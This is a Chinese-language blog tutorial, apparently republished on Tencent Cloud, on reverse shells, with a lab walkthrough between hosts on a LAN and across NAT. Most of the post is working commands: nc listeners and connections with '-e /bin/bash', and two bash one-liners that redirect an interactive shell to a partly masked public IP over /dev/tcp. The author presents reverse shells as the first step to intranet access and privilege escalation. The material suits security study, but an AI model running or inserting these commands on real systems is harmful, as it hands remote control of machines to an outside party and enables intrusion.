前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >使用nc及bash进行反弹shell的简单实践

使用nc及bash进行反弹shell的简单实践

作者头像
yuanfan2012
发布2021-04-22 14:55:17
6.8K0
发布2021-04-22 14:55:17
举报
文章被收录于专栏:WalkingCloud

使用nc及bash进行反弹shell的简单实践

什么是反弹shell?

反弹shell(reverse shell),就是控制端监听在某TCP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。

反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步

参考百度查询到的关于shell反弹实践的一些文章,下面介绍我这边实践的过程

一、被控端主机与控制端主机位于内网同网段场景

如下图所示

(图片可放大查看)

1、被控端主机——IP:192.168.31.84

2、kali控制端主机:192.168.31.118

1)安装nc命令

若没有nc命令,使用yum方式进行安装

代码语言:javascript
复制
yum install nmap-ncat

(图片可放大查看)

(图片可放大查看)

代码语言:javascript
复制
firewall-cmd --zone=public --add-port=5432/tcp --permanent
firewall-cmd --reload

2)、nc命令开启本地监听端口

代码语言:javascript
复制
nc -n -lvvp 5432 -t -e /bin/bash

(图片可放大查看)

3)kali控制端主机使用nc命令连接被控端主机

代码语言:javascript
复制
nc 192.168.31.84 5432

执行shell命令,可以看到输入shell命令后被控主机的shell输出结果

(图片可放大查看)

(图片可放大查看)

二、被控端主机位于NAT后的场景

如下图所示 被控端主机位于NAT后 控制端主机位于公网

1)控制端主机开启端口5432监听

由于我这里是一台云主机,需要firewalld开放5432且云主机安全组规则也要放开该端口

(图片可放大查看)

(图片可放大查看)

代码语言:javascript
复制
firewall-cmd --zone=public --add-port=5432/tcp --permanent
firewall-cmd --reload

nc -n -lvvp 5432

(图片可放大查看)

2)被控端主机位于NAT后,主动去连控制端主机公网开放的5432端口

代码语言:javascript
复制
nc X.X.X.X(公网IP) 5432 -t -e /bin/bash

(图片可放大查看)

三、使用bash进行shell反弹

以上是nc进行shell反弹的实践过程,下面介绍bash进行shell反弹 bash 直接反弹的两种写法

1)写法1

代码语言:javascript
复制
bash -i > /dev/tcp/81.X.X.X/5432 0>&1 2>&1

(图片可放大查看)

2)写法2

代码语言:javascript
复制
bash -i >& /dev/tcp/81.X.X.X/5432 0>&1

(图片可放大查看)

具体原理可以参考先知社区上的这两篇文章

Linux反弹shell(一)文件描述符与重定向

——https://xz.aliyun.com/t/2548

Linux反弹shell(二)反弹shell的本质

——https://xz.aliyun.com/t/2549

1)bash -i

-i 代表交互式

代码语言:javascript
复制
-i     If the -i option is present, the shell is interactive.

2)/dev/tcp/ip/port是一个特殊的文件,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的。但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信

3)0>&1 标准输入与标准输出内容结合后重定向到标准输出里

总结

当然shell反弹的方式不局限于nc与bash两种方式,还有其它python,java,perl,php,ruby,socat等等,可以自动上网搜寻,本文就点到为止

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-04-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 WalkingCloud 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 使用nc及bash进行反弹shell的简单实践
    • 什么是反弹shell?
      • 一、被控端主机与控制端主机位于内网同网段场景
        • 1)安装nc命令
        • 2)、nc命令开启本地监听端口
        • 3)kali控制端主机使用nc命令连接被控端主机
      • 二、被控端主机位于NAT后的场景
        • 2)被控端主机位于NAT后,主动去连控制端主机公网开放的5432端口
      • 三、使用bash进行shell反弹
        • 总结
        相关产品与服务
        云服务器
        云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档